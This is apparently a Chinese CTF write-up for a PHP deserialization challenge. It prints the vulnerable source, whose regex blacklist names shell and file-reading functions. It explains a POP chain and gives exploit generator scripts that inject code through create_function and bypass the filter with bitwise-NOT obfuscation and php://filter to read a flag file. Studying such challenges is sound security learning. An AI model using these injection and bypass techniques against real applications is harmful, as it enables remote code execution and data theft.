赞
踩
<?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } } class B{ public $func; public $arg; public function show(){ $func = $this->func; //匹配a-z,0-9,区分大小写 if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; //There is no code to print flag in flag.php $func('', $this->arg); } } public function __toString(){ $this->show(); return "<br>"."Nice Job!!"."<br>"; } } if(isset($_GET['pop'])){ $aaa = unserialize($_GET['pop']); $aaa(); } else{ highlight_file(__FILE__); } ?>
前置
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
代码审计
最终我们通过B类里的show方法来获得flag,通过A类中var变量来初始化B类,echo调用了__toString从而调用B类中show
分析正则表达式
前面是$func不能是开头到结尾纯数字字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号
这里很好绕过,比如var_dump含有一个_即可绕过。或者开头换行符号都可以
后面是$arg过滤了一大堆东西,都满足就会包含flag.php,但没输出。
同时会把 f u n c 当 作 函 数 名 , 传 入 两 个 参 数 , 一 个 是 空 字 符 串 , 一 个 是 func当作函数名,传入两个参数,一个是空字符串,一个是 func当作函数名,传入两个参数,一个是空字符串,一个是arg
知识点
适用范围:PHP 4> = 4.0.1
,PHP 5
,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
警告:
这个函数在内部执行eval(),因此具有与eval()相同的安全问题。此外,它还有不好的性能和内存使用特性。
如果你使用的是 PHP 5.3.0 或更高版本,应该使用本地匿名函数来代替。
pop链构造
传入
return(1);}任意代码;//
}会和前面{闭合,后面注释符号会注释后面的{,实现执行任意代码
<?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } } class B{ public $func; public $arg; } $a = new A(); $b = new B(); $b -> func = 'create_function'; $b -> arg = 'return 1;}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//'; //包含flag文件并输出 $a -> var = $b; echo serialize($a);
解析
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
由于过滤了很多东西,我们可以考虑取反绕过,再用伪协议来读取文件内容。
但是还有一个问题是取反后的符号大多数不可打印符号,不方便复制get传入,因此要对他进行url编码
<?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } } class B{ public $func; public $arg; } $a = new A(); $b = new B(); $ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')); $b -> func = 'create_function'; $b -> arg = 'return 1;}require(~('.strval($ac).'));//'; //包含flag文件并输出 $a -> var = $b; echo urlencode(serialize($a));
解析
strval() 函数用于获取变量的字符串值。
参考:
https://www.cnblogs.com/aninock/p/15336101.html
http://www.snowywar.top/?p=2592
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。